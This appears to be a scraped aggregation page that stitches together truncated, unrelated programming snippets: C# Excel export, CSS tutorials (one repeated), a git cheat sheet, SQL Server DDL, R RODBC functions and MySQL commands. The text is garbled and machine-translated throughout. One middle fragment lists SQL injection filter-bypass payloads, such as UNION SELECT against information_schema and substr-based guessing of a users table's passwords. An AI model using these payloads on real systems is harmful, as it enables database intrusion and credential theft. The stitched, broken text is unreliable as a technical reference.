p l sheet template

Background code:public static string export2007Front Code:Public ActionResult exportexecl (int? pid) { if (!pid. HasValue) return null; var list = _userinfobo.getanswerbyuser (PID. Value); if (null = = list) return null; var newlist = list. Select (question = new Resultexecl () { //Load Data }). ToList (); var FilePath = excelutil.export2007 (newlist); var fileName = Path.getfilename (File

Standard C language standard function library quick check (Cheat Sheet) DescriptionThis page contains the C language standard version of the 15 header file explanations as well as functions, 137 functions and demos, you can click on the function name to see. It is not responsible for any errors arising from this page. This page is not necessarily guaranteed to continue to be updated. (View update Records) C language standard head header fi

css| Page | style sheet This thing, when you need to restore the default value, more useful. *{margin:0;padding:0 at the beginning, you need to restore the HTML default CSS value when you need to use margins. I've been looking for this document, and I happened to be here todayon W3See. In addition to inline and block definitions, it is important to pay attention to the default styles (margin and font-size) of labels such as BODY|H1~H6|BLOCKQUOTE|MENU|

css| Control | mouse | display | style sheet In general, the mouse is displayed with a diagonal arrow, a vertical line that becomes a header when moved to the text, and becomes a hand type when moved to the hyperlink. However, with CSS you can control the display of the mouse, such as the mouse can be moved to the normal text is also shown to hand-type. The syntax for using CSS controls is as follows: Change the * to one of the following 15 effect

css| Page | style sheet This thing, when you need to restore the default value, more useful. *{margin:0;padding:0 at the beginning, you need to restore the HTML default CSS value when you need to use margins. I've been looking for this document, and I happened to see it on W3 today. In addition to inline and block definitions, it is important to pay attention to the default styles (margin and font-size) of labels such as BODY|H1~H6|BLOCKQUOTE|MENU|UL|

css| style sheet positioning properties will be the key to the door of happiness for Web bugs:Absolute positioningH4 {position:absolute; left:100px; top:43px}This CSS rule allows the browser to set the starting position exactly 100 pixels to the left of the browser, 43 pixels from its top, and see how the code works.Note that the only set here is the left and the top, which means that the text will go from left to right, from top to bottom, to the Br

css| style Sheet (1) (2) and (3) You can place the content that needs to be centered in the middle of Examples of the use of:

css| style Sheet classIn order to define the Web page format more accurately, it is necessary to make the same selectors can be categorized, and can be different categories for different style design. The basic format is as follows: Selector. Category name {property: value} A category name can be referenced in an character of an HTML ID: Instance: 　　 ID ID, which is to send an "id" to the style in HTML text, to ensure that it has the only av

Rarely inserts a new style rule, today in order to temporarily resolve the page style problem, need to update a number of page styles, these pages are referred to a public JS, in order to facilitate, directly in this public JS inside the style sheet insert new style rule. First look at the code: Copy Code code as follows: /** * Add a stylesheet to the document (May is better practice, however, * To dynamically change classes, so style

The example in this article describes how C # controls Excel sheet The way it adapts to page width and column width. Share to everyone for your reference, specific as follows: Read more about C # Interested readers can view the site topics: "C # Operations Excel Skills Summary", "C # XML file Operation Tips Summary", "C # Common control usage Tutorial", "WinForm Control Usage Summary", "C # Data structure and algorithm tutorial", "C # An int

best to add a comment after the name so that future documentation can be generated. Iii. on the nature of inheritance In CSS, make good use of inheritance. For example, in two nested div, the parent element defines the Background-color property as black, and if the background of the child element is black, there is no need to repeat the definition. Being good at using the inheritance of CSS can make code more efficient and streamlined. Iv. levels of CSS definition When defining class in CSS, it

Http://files.cnblogs.com/lbsx/git-cheat-sheet-large.png.zip One: Overview There are countless books on the web for Git and cheatsheet. But its editorial thinking is to explain the order. Always wanted this article cheatsheet: in daily use of git, I will encounter which uses case, what is the priority of these usage case, what should be used git command. For this idea, edit this article. The goal of this article is to understand the basic concepts of

not NULL Identity(1,1)PRIMARY KEY,--numberingAuthorNamenvarchar( +) not NULL,--Author's nameSexbit not NULL DEFAULT 1,--SexBirthdaydatetime NULL,--BirthdayEmailnvarchar( -)DEFAULT '[email protected] ' CHECK (email like'%@%'),--e-mail telphone nvarchar (60),--Contact phone City nvarchar (+) DEFAULT'Beijing',--Description ntext–-, City of residence, introduction to the author)Determine if a data table existsEach database has a system table sysobjects, which stores all the data tables, constrain

(table_name) ....0 ' UNION ALL SELECT ' table_name ' foo from ' Information_schema '. ' Tables 'OR, and' | | 1= ' 1' 1= ' 1=‘-‘OR, and, UNION' and (select pass from users limit 1) = ' secretOR, and, UNION, LIMIT' and (select pass from users where ID =1) = ' AOR, and, UNION, LIMIT, WHERE' and (select pass from the Users group by ID has id = 1) = ' AOR, and, UNION, LIMIT, WHERE, GROUP' and length (select pass from the users having substr (pass,1,1) = ' a '))OR, and, UNION, LIMIT, WHERE, GROUP, ha

,sqlKeyword) keywordList-dataKeyword[["col_keyword"]] keywordList-as.character(keywordList) 5. Rodbc other functions for working with MySQL database # 函数名称 # 函数描述 odbcConnect(dsn, uid="", pwd="") # 建立并打开连接 sqlFetch(channel, sqltable) # 从数据库读取数据表，并返回一个数据框对象 sqlQuery(channel, query) # 向数据库提交一个查询，并返回结果 sqlSave(channel, mydf, tablename = sqtable, append = FALSE) # 将一个数据框写入或更新(append=True)到数据库 sqlDrop(channel, sqtable) # 从数据库删除一个表 sqlClear(channel, sqtable) # 删除表中的内容 s

This article link: http://blog.csdn.net/u010670689/article/details/41346689Demand:In the development of the product process, there is a project branch, the database needs to have data copy, but the table data is very large, with traditional insert INTO .... select * ... Very slow!!Process:1. Enter the MySQL file directory on LinuxThe address of the MySQL data file can be found in the/ETC/MY.CNF[Email protected] etc]# CAT/ETC/MY.CNF[Mysqld]Datadir=/var/lib/mysqlSocket=/var/lib/mysql/mysql.sockUse

1 Viewing the structure of a table(1) Show create TABLE + database name(2) desc+ database name2 Modifying a table(1) Add a column to the tableALTER TABLE database name add column addr varchar (20)//Add Address column(2) Modifying a table column technician typeALTER TABLE database name modify column sname varchar (20)(3) Modify the name of a columnALTER TABLE database name change addr work_add varchar (20)(4) Modify the name of the tableALTER TABLE database name rename new database table name(5

expression expresses the desire for a column, which must be at least one; Comma-equal between multiple columns; A query expression can use [as] alias_name to give it an alias; Conditional expression--where Filter the record, and if no WHERE clause is specified, all records are displayed; In the where expression, you can use the functions or operators supported by MySQL. Query result grouping--group by Grouping conditions--having Limit the numbe

Tag: the IMG number automatically does not have a data table looking for alt ima. comOpen the database: Use db_name: Open the database.To create a data table: View Data Sheet:To view the data table structure:Simple insertion and lookup of data: Insert: Insert [into] tbl_name [(col_name)] VALUES (Val1,val2,...); Find: SELECT expression from Tbl_name NULL and non-null: NULL and non-null are not specified when the table is established, and can be null by default. When you c

operations are faster under lock tables because MySQL does not empty the critical cache for locked tables until unlock table is called. Typically, the critical cache is emptied after each SQL statement.· If you are using a storage engine that does not support transactions in MySQL, you must use lock TABLES if you want to determine that there are no other threads between select and update. The example shown here requires lock TABLES for safe execution:· mysql> LOCK TABLES Trans READ, customer WR